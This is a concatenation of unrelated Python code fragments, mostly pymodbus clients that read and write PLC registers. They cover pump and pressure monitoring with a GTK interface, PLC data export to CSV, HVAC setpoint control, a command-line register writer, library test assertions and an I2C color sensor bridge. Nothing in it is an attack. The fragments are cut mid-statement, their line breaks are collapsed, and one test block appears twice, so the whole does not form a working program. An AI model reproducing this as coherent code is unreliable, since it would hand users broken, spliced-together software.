rr1.registers[4-1]# AIN1 pressione in mA in posizione 4 p_Eng1 = int(pEngFunc(p_mA1)) # AIN2 portata in mA in posizione 6 q_mA1 = rr1.registers[6-1] q_Eng1 = int(qEngFunc(q_mA1)) rr1_103 = client_1.read_holding_registers(103,10) reg104_1 = tuple(rr1_103.registers ) p_mA2 = 0 # rr2.registers[4-1]# AIN1 pressione in mA in posizione 4 p_Eng2 = 0 # rr2.registers[5-1] # AIN2 portata in mA in posizione 6 q_mA2 = 0 # rr2.registers[6-1] if p_mA1 <= 4000: p_mA1 = 0 p_Eng1 = 0 if q_mA1 <= 4000: q_mA1 = 0 q_Eng1 = 0 hdlf = (self.hdlf_q2, self.hdlf_q1,self.hdlf_k) self.pDHL = phdlf( q_Eng1/10. ,self.pipeLength, hdlf ) p_Eng2 = p_Eng1 - 10.*self.pDHL + 10.*self.staticHead self.lastQ.append(q_Eng1/10.) self.lastPe.append(p_Eng2/10.) self.lastPg.append(p_Eng1/10.) if len(self.lastPe) == self.lastPe.maxlen: p_mA2 = np.mean(self.lastPe) q_mA2 = np.mean(self.lastQ) pRate = p_mA2/self.pR if q_mA2 <= self.designQmin and p_mA2 >= self.pR: self.lblOK.set_label("OK") else: self.lblOK.set_label("P<R ({0:.2f})".format(pRate)) self.txtDHLF.set_text("{0:.2f}".format(-self.pDHL)) self.databuffer_p1.append( p_Eng1/10. ) self.line_p1.set_ydata(self.databuffer_p1) self.databuffer_p2.append( p_Eng2/10. ) self.line_p2.set_ydata(self.databuffer_p2) self.databuffer_r.append( self.pR ) self.line_r.set_ydata(self.databuffer_r) self.databuffer_q1.append( q_Eng1/10. ) self.line_q1.set_ydata(self.databuffer_q1) self.afigure.relim() self.afigure.autoscale_view(False, False, True) self.afigure2.relim() self.afigure2.autoscale_view(False, False, True) self.canvas.draw() listP1.append(p_Eng1/10.) listP2.append(p_Eng2/10.) aIN1.set_text(str(p_mA1)) aIN2.set_text(str(q_mA1)) aIN1ENG.set_text("{0} bar".format(p_Eng1/10.)) aIN2ENG.set_text("{0} lit/min".format(q_Eng1/10.)) aIN12.set_text("{0:.2f} bar".format(p_mA2)) aIN22.set_text("{0:.2f} lit/min".format(q_mA2)) aIN1ENG2.set_text("{0} bar".format(p_Eng2/10.)) # INIETTORE rr_p = client_p.read_holding_registers(500,100,unit=1) txtPout.set_text("{0} bar".format(rr_p.registers[16])) fPoutMax = self.pR + rr_p.registers[16] - p_Eng2/10. self.txtPoutMax.set_text("{0}".format(int(fPoutMax))) txtQout.set_text("{0} c/min {1:.2f} l/min".format(rr_p.registers[20], litCiclo*rr_p.registers[20] )) self.pmax = rr_p.registers[60] if self.chkPAna.get_active(): self.qmax = rr_p.registers[64] builder.get_object("txtQmax").set_text("{0} V".format(self.qmax)) else: self.qmax = rr_p.registers[62] builder.get_object("txtQmax").set_text("{0} c/min {1:.2f} l/min".format(self.qmax, litCiclo*self.qmax)) # self.qVmax = rr_p.registers[64] builder.get_object("txtPmax").set_text("{0} bar".format(rr_p.registers[60])) # print "P: {0}->{1} \tdP = {4} \t\tQ: {2}->{3} \tn={5} \tavg P1 {6:.2f}({7:.2f}) P2 {8:.2f}({9:.2f})".format(p_Eng1/10.,p_Eng2/10.,q_Eng1/10.,q_Eng2/10.,(p_Eng1-p_Eng2)/10., len(listP1), np.mean(listP1),np.std(listP1),np.mean(listP2),np.std(listP2) ) if self.blogFile: self.oneLogged = True # TODO btnLog set label # time now - before builder.get_object("btnLog").set_label("{0}".format(datetime.timedelta(seconds =dt_seconds))) log.info("%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%f;%f;%s;%s;%f;%f;%f;%d;%d;%d;%d;%f;%f;%f;%f;%f;%f" % (self.pR, p_mA1, p_Eng1, q_mA1, q_Eng1,reg104_1[0] ,reg104_1[1] ,reg104_1[2] , reg104_1[3],reg104_1[6] ,reg104_1[7] ,reg104_1[8] , reg104_1[9],p_mA2, p_Eng2, q_mA2, self.pipeLength, self.pipeDiam,self.pipeType,self.mixType,self.mixDensity,self.staticHead,self.pDHL, rr_p.registers[16],rr_p.registers[20],self.pmax,self.qmax, self.pmax-rr_p.registers[16], rr_p.registers[16]- p_Eng1/10. , hdlf[0], hdlf[1], hdlf[2],fPoutMax)) else: print "error on test data {0} vs {1} or {0} vs {2}".format(test_value,rr1.registers[test_reg_no],rr2.registers[test_reg_no]) def onDeleteWindow(self, *args): Gtk.main_quit(*args) def testConnection1(self, button): lblTest1 = builder.get_object("lblTest1") manifold_host_1 = builder.get_object("txtIP1").get_text() manifold_port_1 = int(builder.get_object("txtPort1").get_text()) client_1 = ModbusClient(manifold_host_1, port=manifold_port_1) self.ret_m1=client_1.connect() lblTest1.set_text(str(self.ret_m1)) if not smtConfig.has_section('Manifold_1'): smtConfig.add_section('Manifold_1') if self.ret_m1: builder.get_object("switchMain").set_sensitive(True) smtConfig.set('Manifold_1', 'host', manifold_host_1) smtConfig.set('Manifold_1', 'port', manifold_port_1) with open(sCFGName, 'wb') as configfile: smtConfig.write(configfile) client_1.close() def on_btnConnectPump_clicked(self, button): lblTestPump = builder.get_object("lblTestPump") pump_host = builder.get_object("txtIPPump").get_text() pump_port = int(builder.get_object("txtPortPump").get_text()) self.client_p = ModbusClient(pump_host, port=pump_port) self.ret_p=self.client_p.connect() lblTestPump.set_text(str(self.ret_p)) if not smtConfig.has_section('Pump'): smtConfig.add_section('Pump') if self.ret_p: self.checkPump(self.client_p) smtConfig.set('Pump', 'host', pump_host) smtConfig.set('Pump', 'port', pump_port) with open(sCFGName, 'wb') as configfile: smtConfig.write(configfile) self.client_p.close() def checkPump(self,client_p): rr = client_p.read_holding_registers(500,100,unit=1) # conversione in bit array da 552 decoder = BinaryPayloadDecoder.fromRegisters(rr.registers[52:53],endian=Endian.Little) bits_552 = decoder.decode_bits() bits_552 += decoder.decode_bits() bits_552[10] = True b_builder = BinaryPayloadBuilder(endian=Endian.Little) b_builder.add_bits(bits_552) reg_552 = b_builder.to_registers() rr.registers[52:53] = reg_552 for it in range(10): self.p_count += 1 rr.registers[50] = self.p_count rq = client_p.write_registers(500, rr.registers,unit=1) if rq.function_code < 0x80: rr_p = client_p.read_holding_registers(500,100,unit=1) if len(rr_p.registers)==100 and rr_p.registers[0]==self.p_count: decoder = BinaryPayloadDecoder.fromRegisters(rr_p.registers[2:7],endian=Endian.Little) # 502 bits_502 = decoder.decode_bits() bits_502 += decoder.decode_bits() # 503 bits_503 = decoder.decode_bits() bits_503 += decoder.decode_bits() # 504 bits_504 = decoder.decode_bits() bits_504 += decoder.decode_bits() # 505 bits_505 = decoder.decode_bits() bits_505 += decoder.decode_bits() # 506 bits_506 = decoder.decode_bits() bits_506 += decoder.decode_bits() if bits_502[7]: builder.get_object("switchPumpStatus").set_active(True) else: builder.get_object("switchPumpStatus").set_active(False) if bits_502[4] == False and bits_502[10] == True: builder.get_object("switchPumpStatus").set_sensitive(True) else: builder.get_object("switchPumpStatus").set_sensitive(False) else: print "errore checkPump %d" % self.p_count bits_552[10] = False print str(bits_552) b_builder = BinaryPayloadBuilder(endian=Endian.Little) b_builder.add_bits(bits_552) reg_552_2 = b_builder.to_registers() rr.registers[52:53] = reg_552_2 rq = client_p.write_registers(500, rr.registers,unit=1) if rq.function_code < 0x80: pass else: print "checkPump terminato con scrittura KO" def on_btnOpenFile_clicked(self,button): #os.system() subprocess.call(["libreoffice",export_csv_path]) def on_btnGetPump_clicked(self,button): self.adjustPMax.set_value(float(self.pmax) ) self.adjustQMax.set_value(float(self.qmax)) def send_parity(self): self.p_count += 1 rr_p = self.client_p.write_registers(550,self.p_count,unit=1) def on_btnSetPump_clicked(self,button): rr_p = self.client_p.read_holding_registers(500,100,unit=1) decoder = BinaryPayloadDecoder.fromRegisters(rr_p.registers[52:53],endian=Endian.Little) bits_552 = decoder.decode_bits() bits_552 += decoder.decode_bits() self.pmax = self.adjustPMax.get_value() _qmax = self.adjustQMax.get_value() self.p_count += 1 rr_p.registers[50] = self.p_count rr_p.registers[60] = int(self.pmax) if self.chkPAna.get_active(): self.qmax = getFlowRateAsVolts(_qmax) v = getVoltsFromFlowRate(self.qmax) print "_qmax => {0} self.qmax => {1} c => {2}".format(_qmax, self.qmax, v) rr_p.registers[64] = self.qmax rr_p.registers[62] = int(_qmax/litCiclo) bits_552[12] = True else: self.qmax = _qmax rr_p.registers[62] = int(self.qmax) rr_p.registers[64] = cicli_volt[int(self.qmax)] bits_552[12] = False b_builder = BinaryPayloadBuilder(endian=Endian.Little) # builder.add_bits(bits_502) b_builder.add_bits(bits_552) reg_552 = b_builder.to_registers() rr_p.registers[52:53] = reg_552 rr_p = self.client_p.write_registers(500,rr_p.registers,unit=1) def on_btnOff_clicked(self,button): print("Closing application") Gtk.main_quit() def on_btnLog_toggled(self,button): if button.get_active(): self.time = datetime.datetime.utcnow() self.blogFile = True else: self.blogFile = False builder.get_object("btnLog").set_label("Log Data") def readDataSetupConfig(self): self.pipeLength = float(builder.get_object("txtPipeLenght").get_text()) self.pipeDiam = float(builder.get_object("txtPipeDiam").get_text()) self.pipeType = builder.get_object("txtPipeType").get_text() self.mixType = builder.get_object("txtMixType").get_text() self.mixDensity = float(builder.get_object("txtMixDensity").get_text()) self.staticHead = float(builder.get_object("txtStaticHead").get_text()) self.hdlf_q2 = float(builder.get_object("txtQ2").get_text()) self.hdlf_q1 = float(builder.get_object("txtQ1").get_text()) self.hdlf_k = float(builder.get_object("txtK").get_text()) self.pR = int(builder.get_object("txtR").get_text()) self.designQmin = int(builder.get_object("txtQmin").get_text()) designRTW = int(builder.get_object("txtRefTime").get_text()) if designRTW*60 != self.lastPe.maxlen: print "resize RTW from {0} to {1}".format(self.lastPe.maxlen, designRTW*60) self.lastPe = collections.deque(self.lastPe, maxlen=designRTW*60) self.lastPg = collections.deque(self.lastPg, maxlen=designRTW*60) self.lastQ = collections.deque(self.lastQ, maxlen=designRTW*60) if not smtConfig.has_section('HeadLossFactor'): smtConfig.add_section('HeadLossFactor') smtConfig.set('HeadLossFactor', 'pipeLength', self.pipeLength) smtConfig.set('HeadLossFactor', 'pipeDiam', self.pipeDiam) smtConfig.set('HeadLossFactor', 'pipeType', self.pipeType) smtConfig.set('HeadLossFactor', 'mixType', self.mixType) smtConfig.set('HeadLossFactor', 'mixDensity', self.mixDensity) smtConfig.set('HeadLossFactor', 'staticHead', self.staticHead) smtConfig.set('HeadLossFactor', 'Q2', self.hdlf_q2) smtConfig.set('HeadLossFactor', 'Q1', self.hdlf_q1) smtConfig.set('HeadLossFactor', 'K', self.hdlf_k) if not smtConfig.has_section('Design'): smtConfig.add_section('Design') smtConfig.set('Design', 'R', self.pR) smtConfig.set('Design', 'Qmin', self.designQmin) smtConfig.set('Design', 'RTW', designRTW) with open(sCFGName, 'wb') as configfile: smtConfig.write(configfile) def on_switchPumpStatus_state_set(self, switch,gparam): self.ret_p=self.client_p.connect() rr = self.client_p.read_holding_registers(500,100,unit=1) # conversione in bit array da 552 decoder = BinaryPayloadDecoder.fromRegisters(rr.registers[52:53],endian=Endian.Little) bits_552 = decoder.decode_bits() bits_552 += decoder.decode_bits() decoder = BinaryPayloadDecoder.fromRegisters(rr.registers[2:7],endian=Endian.Little) # 502 bits_502 = decoder.decode_bits() bits_502 += decoder.decode_bits() # 503 bits_503 = decoder.decode_bits() bits_503 += decoder.decode_bits() # 504 bits_504 = decoder.decode_bits() bits_504 += decoder.decode_bits() # 505 bits_505 = decoder.decode_bits() bits_505 += decoder.decode_bits() # 506 bits_506 = decoder.decode_bits() bits_506 += decoder.decode_bits() bSendCommand = False if switch.get_active(): # %MW552:X2 START INIET. DA REMOTO bSendCommand = not bits_502[7] bits_552[2] = True bits_552[3] = False bits_552[14] = True else: # %MW552:X2 STOP INIET. DA REMOTO bSendCommand = bits_502[7] bits_552[2] = False bits_552[3] = True bits_552[14] = False builder = BinaryPayloadBuilder(endian=Endian.Little) # builder.add_bits(bits_502) builder.add_bits(bits_552) reg_552 = builder.to_registers() rr.registers[52:53] = reg_552 self.p_count += 1 rr.registers[50] = self.p_count if bSendCommand: self.client_p.write_registers(500, rr.registers,unit=1) if bits_552[2]: bits_552[2] = False builder = BinaryPayloadBuilder(endian=Endian.Little) # builder.add_bits(bits_502) builder.add_bits(bits_552) reg_552 = builder.to_registers() self.client_p.write_register(552, reg_552[0]) print "pulsante rilasciato" self.client_p.close() def on_btnShow_clicked(self,button): # show dlgRegistries self.lstDialog = builder.get_object("dlgRegistries") self.liststore = builder.get_object("liststore1") if self.ret_p: self.liststore.clear() rr = self.client_p.read_holding_registers(500,100,unit=1) for idx in [0,2,4,6,12,13,14,15,16,20,50,52,60,62,64]: if idx in (2,4,6,52): decoder = BinaryPayloadDecoder.fromRegisters(rr.registers[idx:idx+1],endian=Endian.Little) bits = decoder.decode_bits() bits += decoder.decode_bits() for ib, b in enumerate(bits): if b: sCode = "%MW5{0:02d}:X{1}".format(idx,ib) self.liststore.append([sCode,reg_descr[sCode], str( b ) ]) else: sCode = "%MW5{0:02d}".format(idx) self.liststore.append([sCode, reg_descr[sCode], str( rr.registers[idx]) ]) response = self.lstDialog.run() self.lstDialog.hide() def on_btnOk_clicked(self,button): self.lstDialog.close() def on_btnAnalyze_clicked(self,button): with open(export_csv_path, 'rb') as csvfile: template_vars = {} csv_reader = csv.DictReader(csvfile, delimiter=';') csv_list = list(csv_reader) data = [ np.asarray([row["q_Eng1"],row["dPManifold"],row["q_out"],row["dPPump"] , row["p_Eng1"],row["p_Eng2"]], dtype=np.float64) for row in csv_list] x1 = [d[0]/10. for d in data] y1 = [d[1]/10. for d in data] x2 = [d[2]*litCiclo for d in data] y2 = [d[3] for d in data] p1 = [d[4]/10. for d in data] p2 = [d[5]/10. for d in data] dP = [d[4]/10. - d[5]/10. for d in data] # The solution minimizes the squared error fit1_1, res1_1, _, _, _ = np.polyfit(x1, y1,1,full=True) fit1_2, res1_2, _, _, _ = np.polyfit(x1, y1,2,full=True) fit2_1, res2_1, _, _, _ = np.polyfit(x2, y2,1,full=True) fit2_2, res2_2, _, _, _ = np.polyfit(x2, y2,2,full=True) p_func_fit1_1 = np.poly1d(fit1_1) p_func_fit1_2 = np.poly1d(fit1_2) p_func_fit2_1 = np.poly1d(fit2_1) p_func_fit2_2 = np.poly1d(fit2_2) xp = np.linspace(np.min(x1), np.max(x1), 100) fig = plt.figure(figsize=(16, 9), dpi=100) plt.plot(x1, y1, 'b.', label='Samples') plt.plot(xp, p_func_fit1_1(xp), 'r--', label="Linear (e={0:.3f})".format(res1_1[0])) plt.plot(xp, p_func_fit1_2(xp), 'g-', label="Curved (e={0:.3f})".format(res1_2[0])) plt.xlabel('Flow Rate (lit/min)') plt.ylabel('Pressure (bar)') #plt.legend() plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=3, ncol=3, mode="expand", borderaxespad=0.) plt.grid(True) tex1 = r'$%.3fx^{2}%+.3fx%+.3f$' % tuple(fit1_2) plt.text(int(np.min(x1)),np.max(y1)*0.9, tex1, fontsize=16, va='bottom', color="g") template_vars["fit1_1"] = tuple(fit1_1) template_vars["fit1_2"] = tuple(fit1_2) template_vars["res1_1"] = res1_1 template_vars["res1_2"] = res1_2 imagefname = "hflf_1_{0}.png".format(sDate) imagefpath = os.path.join(sCurrentWorkingdir,"out",imagefname) template_vars["hflf_1"] = imagefpath plt.savefig(imagefpath,format="png", bbox_inches='tight', pad_inches=0) plt.close(fig) xp = np.linspace(np.min(x2), np.max(x2), 100) fig = plt.figure(figsize=(16, 9), dpi=100) plt.plot(x2, y2, 'b.', label='Samples') plt.plot(xp, p_func_fit2_1(xp), 'r--', label='Linear model (e={0:.3f})'.format(res2_1[0])) plt.plot(xp, p_func_fit2_2(xp), 'g-', label='Curved model (e={0:.3f})'.format(res2_2[0])) plt.xlabel('Flow Rate (lit/min)') plt.ylabel('Pressure (bar)') plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=3, ncol=3, mode="expand", borderaxespad=0.) plt.grid(True) tex1 = r'$%.3fx^{2}%+.3fx%+.3f$' % tuple(fit2_2) plt.text(int(np.min(x2)),np.max(y2)*0.9, tex1, fontsize=16, va='bottom', color="g") imagefname = "hflf_2_{0}.png".format(sDate) imagefpath = os.path.join(sCurrentWorkingdir,"out",imagefname) template_vars["hflf_2"] = imagefpath plt.savefig(imagefpath,format="png", bbox_inches='tight', pad_inches=0) plt.close(fig) # andamento pressione portata nel tempo fig = plt.figure(figsize=(16, 9), dpi=100) t = np.arange(len(p1)) a = fig.add_subplot(212) a.grid(True) for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(10) for tick in a.yaxis.get_major_ticks(): tick.label.set_fontsize(10) a.set_xlabel('Time (seconds)') #a.set_ylim(np.min(dP)-2, np.max(dP)+2) a.set_ylim(np.min(p1)-2, np.max(p1)+2) a.set_xlim(0, len(t)+1) a.plot(t, p1, 'bo-', label='P1') a.plot(t, p2, 'ro-', label='P2') a.set_ylabel('Pressure (P bar)', fontsize=10) a.legend(loc=2, ncol=2, fontsize=10) a2 = fig.add_subplot(211) a2.grid(True) for tick in a2.xaxis.get_major_ticks(): tick.label.set_fontsize(10) for tick in a2.yaxis.get_major_ticks(): tick.label.set_fontsize(10) a2.set_xlabel('Time (seconds)') a2.set_ylabel('Flow rate (Q lit/min)', fontsize=10) a2.set_ylim(np.min(x1)-2, np.max(x1)+2) a2.set_xlim(0, len(t)+1) #a.plot(t, dP, 'r-', label='dP') a2.plot(t, x1, 'go-', label='Q') a2.legend(loc=2, ncol=2, fontsize=10) template_vars["t_items"] = list(t) template_vars["q_items"] = list(x1) template_vars["p1_items"] = list(p1) template_vars["p2_items"] = list(p2) template_vars["dp_items"] = list(dP) template_vars["pipeLength"] = self.pipeLength template_vars["pipeDiam"] = self.pipeDiam template_vars["pipeType"] = self.pipeType template_vars["mixType"] = self.mixType template_vars["mixDensity"] = self.mixDensity imagefname = "time_{0}.png".format(sDate) imagefpath = os.path.join(sCurrentWorkingdir,"out",imagefname) template_vars["time"] = imagefpath plt.savefig(imagefpath,format="png", bbox_inches='tight', pad_inches=0) plt.close(fig) template_vars["issue_date"] = datetime.datetime.utcnow().strftime("%Y.%m.%d %H:%M:%S") env = Environment(loader=FileSystemLoader('.')) templateFile = "hdlf_template.html" templateFilePath = os.path.join(sCurrentWorkingdir,"out",templateFile) template = env.get_template(templateFile) html_out = template.render(template_vars) pdffname = "hdlf_{0}.pdf".format(sDate) pdfpath = os.path.join(sCurrentWorkingdir,"out",pdffname) HTML(string=html_out).write_pdf(pdfpath, stylesheets=["typography.css","grid.css"]) def on_switchMain_activate(self, switch,gparam): if switch.get_active(): self.client_1 = ModbusClient(manifold_host_1, port=manifold_port_1) self.client_p = ModbusClient(pump_host, port=pump_port) self.client_1.connect() self.client_p.connect() self.readDataSetupConfig() time.sleep(2) print "start connection" time_delay = 1 # 1 seconds delay self.loop = LoopingCall(f=self.logging_data, a=(self.client_1, builder.get_object("txtAIN1"),builder.get_object("txtAIN2"),builder.get_object("txtAIN1ENG"),builder.get_object("txtAIN2ENG"),builder.get_object("txtAIN12"),builder.get_object("txtAIN22"),builder.get_object("txtAIN1ENG2"),self.client_p,builder.get_object("txtPout"),builder.get_object("txtQout"))) self.loop.start(time_delay, now=False) # initially delay by time builder.get_object("btnOpenFile").set_sensitive(False) builder.get_object("btnOff").set_sensitive(False) self.btnAnalyze.set_sensitive(False) # self.ani = animation.FuncAnimation(self.figure, self.update_plot, interval = 1000) else: self.loop.stop() time.sleep(1) self.client_1.close() self.client_p.close() print "stop connection" time.sleep(2) builder.get_object("txtFilePath").set_text(export_csv_path) builder.get_object("btnOpenFile").set_sensitive(True) builder.get_object("btnOff").set_sensitive(True) if self.oneLogged: self.btnAnalyze.set_sensitive(True)
# Build the file name fname = "./data/PLCData-" + str(curr_date) + "-" + str(curr_time) + ".csv" try: df = open(fname, 'w') except: print("Error creating the data file!") # Write the column names df.write("sn,sta1_delay,sta2_delay,sta3_delay,sta4_delay,sta6_delay,sta1_to_sta2_delay,sta2_to_sta3_delay,sta3_to_sta4_delay,sta6_to_sta1_delay,inspection_result\n") print("[DONE]") print("Exporting data..."), # Maximum parts the PLC can track is currently 512; iterate through all for part in range(1,512): # Inform the PLC task which index we want to read request = client.write_register(0x800B, part) # PLC needs time to update before we read the data time.sleep(0.02) # Read the data rd = client.read_input_registers(0x800A, 11) # Part SN's (the first element) are updated as parts are presented # to Station 6, and are sequential. So, if the first element value # does not match the expected one, there is no more data to be exported. if rd.registers[0] != part: break else: #print (rd.registers) sdata = "" # Iterate through each element and add it to the CSV string for word in rd.registers: if sdata != "":
def setDeviceStatus(self, postmsg): setDeviceStatusResult = True try: client = ModbusTcpClient(self.get_variable('address'),port=502) client.connect() if (self.get_variable('model')=='VC1000'): if 'heat_setpoint' in postmsg.keys(): client.write_register(6,int(self.far2cel(float(postmsg.get('heat_setpoint')))*100.0),unit=self.get_variable('slave_id')) if 'cool_setpoint' in postmsg.keys(): client.write_register(6,int(self.far2cel(float(postmsg.get('cool_setpoint')))*100.0),unit=self.get_variable('slave_id')) if 'flap_override' in postmsg.keys(): if postmsg.get('flap_override') == 'ON' or postmsg.get('flap_override') == True: client.write_register(159,1,unit=self.get_variable('slave_id')) elif postmsg.get('flap_override') == 'OFF' or postmsg.get('flap_override') == False: client.write_register(159,0,unit=self.get_variable('slave_id')) if 'flap_position' in postmsg.keys(): client.write_register(160,int(postmsg.get('flap_position')),unit=self.get_variable('slave_id')) elif (self.get_variable('model')=='M1000'): if 'heat_setpoint' in postmsg.keys(): client.write_register(187,int(self.far2cel(float(postmsg.get('heat_setpoint')))*100.0),unit=self.get_variable('slave_id')) if 'cool_setpoint' in postmsg.keys(): client.write_register(188,int(self.far2cel(float(postmsg.get('cool_setpoint')))*100.0),unit=self.get_variable('slave_id')) if 'outside_damper_position' in postmsg.keys(): client.write_register(274,int(postmsg.get('outside_damper_position')),unit=self.get_variable('slave_id')) if 'bypass_damper_position' in postmsg.keys(): client.write_register(275,int(postmsg.get('bypass_damper_position')),unit=self.get_variable('slave_id')) if 'fan_status' in postmsg.keys(): if postmsg.get('fan_status') == 'ON' or postmsg.get('fan_status') == True: client.write_register(130,2,unit=self.get_variable('slave_id')) elif postmsg.get('fan_status') == 'OFF' or postmsg.get('fan_status') == False: client.write_register(130,1,unit=self.get_variable('slave_id')) if 'cooling_status' in postmsg.keys(): if postmsg.get('cooling_status') == 'ON': client.write_registers(124,[1,2,2,2],unit=self.get_variable('slave_id')) elif postmsg.get('cooling_status') == 'OFF': client.write_registers(124,[0,1,1,1],unit=self.get_variable('slave_id')) if 'cooling_mode' in postmsg.keys(): if postmsg.get('cooling_mode') == 'None': client.write_register(10,0,unit=self.get_variable('slave_id')) elif postmsg.get('cooling_mode') == 'STG1': client.write_register(10,1,unit=self.get_variable('slave_id')) elif postmsg.get('cooling_mode') == 'STG2': client.write_register(10,2,unit=self.get_variable('slave_id')) elif postmsg.get('cooling_mode') == 'STG3': client.write_register(10,3,unit=self.get_variable('slave_id')) elif postmsg.get('cooling_mode') == 'STG4': client.write_register(10,4,unit=self.get_variable('slave_id')) if 'heating' in postmsg.keys(): client.write_register(129,int(postmsg.get('heating')),unit=self.get_variable('slave_id')) client.close() except: try: client.close() except: print('Modbus TCP client was not built successfully at the beginning') setDeviceStatusResult=False return setDeviceStatusResult
# log = logging.getLogger() # log.setLevel(logging.DEBUG) # TODO: check retries, and other options client = ModbusClient(args.ip, port=args.port) # retries=3, retry_on_empty=True) client.connect() # TODO: check if asserts are slowing down read/write if args.mode == 'w': # NOTE: write_register if args.type == 'HR': if args.count == 1: hr_write = client.write_register(args.offset, args.register[0]) assert(hr_write.function_code < 0x80) else: hrs_write = client.write_registers(args.offset, args.register) assert(hrs_write.function_code < 0x80) # NOTE: write_coil: map integers to bools elif args.type == 'CO': if args.count == 1: # NOTE: coil is a list with one bool if args.coil[0] == 1: co_write = client.write_coil(args.offset, True) else: co_write = client.write_coil(args.offset, False) assert(co_write.function_code < 0x80)
resp.extend([False]*3) assert(rr.bits == resp) # test the expected value log.debug("Write to multiple coils and read back - test 2") rq = client.write_coils(1, [False]*8, unit=1) rr = client.read_coils(1, 8, unit=1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits == [False]*8) # test the expected value log.debug("Read discrete inputs") rr = client.read_discrete_inputs(0, 8, unit=1) assert(rq.function_code < 0x80) # test that we are not an error log.debug("Write to a holding register and read back") rq = client.write_register(1, 10, unit=1) rr = client.read_holding_registers(1, 1, unit=1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers[0] == 10) # test the expected value log.debug("Write to multiple holding registers and read back") rq = client.write_registers(1, [10]*8, unit=1) rr = client.read_holding_registers(1, 8, unit=1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers == [10]*8) # test the expected value log.debug("Read input registers") rr = client.read_input_registers(1, 8, unit=1) assert(rq.function_code < 0x80) # test that we are not an error arguments = {
class ModbusClass(): connected=False def __init__(self, *kwargs): self.connect() def connect(self): '''Try to connect to the Modbus client (mostely internal) ''' if not self.connected: self.client = ModbusClient('192.168.50.238', port=502) self.client.connect() self.connected=True def reset_safety(self, callback): '''Call this class to reset safety :param callback: callback which should be called at the end ''' if not self.connected: self.connect() #write to bit 8480 rq = self.client.write_coil(8480, True) time.sleep(0.5) rq = self.client.write_coil(8480, False) callback() def transfer_bahn_nr(self, nr): rq = self.client.write_register(532, nr) rq = self.client.write_coil(8483, True) time.sleep(0.5) rq = self.client.write_coil(8483, False) print "transfered" def transfer_array(self, array, callback): '''Call this function to move the array to the PLC :param array: array which should be transmitted :param callback: callback which should be called when finished ''' #check array size c=0 for cube in array: c+=1 if c!= 106: print "Array size isn't suitable", c return lis = array #write cubes into PLC c=0 for cube in lis: print '-', (c/5)+1, cube #write x rq = self.client.write_register(c, cube['x']) c+=1 #write y rq = self.client.write_register(c, cube['y']) c+=1 #write z rq = self.client.write_register(c, cube['z']) c+=1 #write rot rq = self.client.write_register(c, cube['typ']) c+=1 #write type rq = self.client.write_register(c, cube['rot']) c+=1 callback() def machine_is_building(self, *kwargs): '''Call this class to get the bool if the machine is working or not ''' rq = self.client.read_coils(8481,1) return rq.bits[0] def read_active_bahn(self, *kwargs): rq = self.client.read_holding_registers(533, 1) return rq.registers[0]
# -*- coding: utf-8 -*- """ Spyder Editor This is a temporary script file. """ from pymodbus.client.sync import ModbusTcpClient # # #modbus connection client = ModbusTcpClient('localhost') connection = client.connect() # # #read register # client.write_registers(0x000f, [6,7,8]) # request = client.read_holding_registers(0x000f,3) #covert to float # result = request.registers # print result #write to register #client.write_registers(xxxx, [xxxx,xxxx,xxxx]) while True: numInput = input("Enter Desired Position ") if numInput<255: client.write_register(0x000f,numInput) pass else: print ("Invalid number, number needs to be 0-->255") pass
sleep_time=0.2;#in sec try: print'Открываем соединение...' client = ModbusClient(host, port); print'Подключились к хосту',host client.connect(); print'Установили соединение' start_address = 0x00; regs=2; for i in range(2): print "."*20,"we are going to read now" rq = client.read_holding_registers(start_address,regs,unit=1) print print "MY OUTPUT:",i, rq.registers rq.registers[1]=rq.registers[1]+1; sleep(sleep_time) print "."*20,"we are going to write now" client.write_register(1,rq.registers[1],unit=1) print sleep(sleep_time) except: print'ошибка!' else: print'Всё хорошо.' finally: client.close() print 'Закрыли соединение'
if ver == 0x44: print "Device found\n" client = ModbusTcpClient(args.ip) print "Device connected to server" bus.write_byte(0x29, 0x80|0x00) # 0x00 = ENABLE register bus.write_byte(0x29, 0x01|0x02) # 0x01 = Power on, 0x02 RGB sensors enabled bus.write_byte(0x29, 0x80|0x14) # Reading results start register 14, LSB then MSB try: while True: data = bus.read_i2c_block_data(0x29, 0) clear = clear = data[1] << 8 | data[0] red = data[3] << 8 | data[2] green = data[5] << 8 | data[4] blue = data[7] << 8 | data[6] print 'Color Sensor. C:', clear, 'R:', red, 'G:', green, 'B:', blue client.write_register(10, clear) client.write_register(11, red) client.write_register(12, green) client.write_register(13, blue) time.sleep(update_interval) except KeyboardInterrupt: print 'Stopping program' except Exception: traceback.print_exc(file=sys.stdout) client.close() print 'Done' else: print 'Device not found' # Done sys.exit(0)
resp.extend([False] * 3) assert (rr.bits == resp) # test the expected value log.debug("Write to multiple coils and read back - test 2") rq = client.write_coils(1, [False] * 8, unit=1) rr = client.read_coils(1, 8, unit=1) assert (rq.function_code < 0x80) # test that we are not an error assert (rr.bits == [False] * 8) # test the expected value log.debug("Read discrete inputs") rr = client.read_discrete_inputs(0, 8, unit=1) assert (rq.function_code < 0x80) # test that we are not an error log.debug("Write to a holding register and read back") rq = client.write_register(1, 10, unit=1) rr = client.read_holding_registers(1, 1, unit=1) assert (rq.function_code < 0x80) # test that we are not an error assert (rr.registers[0] == 10) # test the expected value log.debug("Write to multiple holding registers and read back") rq = client.write_registers(1, [10] * 8, unit=1) rr = client.read_holding_registers(1, 8, unit=1) assert (rq.function_code < 0x80) # test that we are not an error assert (rr.registers == [10] * 8) # test the expected value log.debug("Read input registers") rr = client.read_input_registers(1, 8, unit=1) assert (rq.function_code < 0x80) # test that we are not an error arguments = {
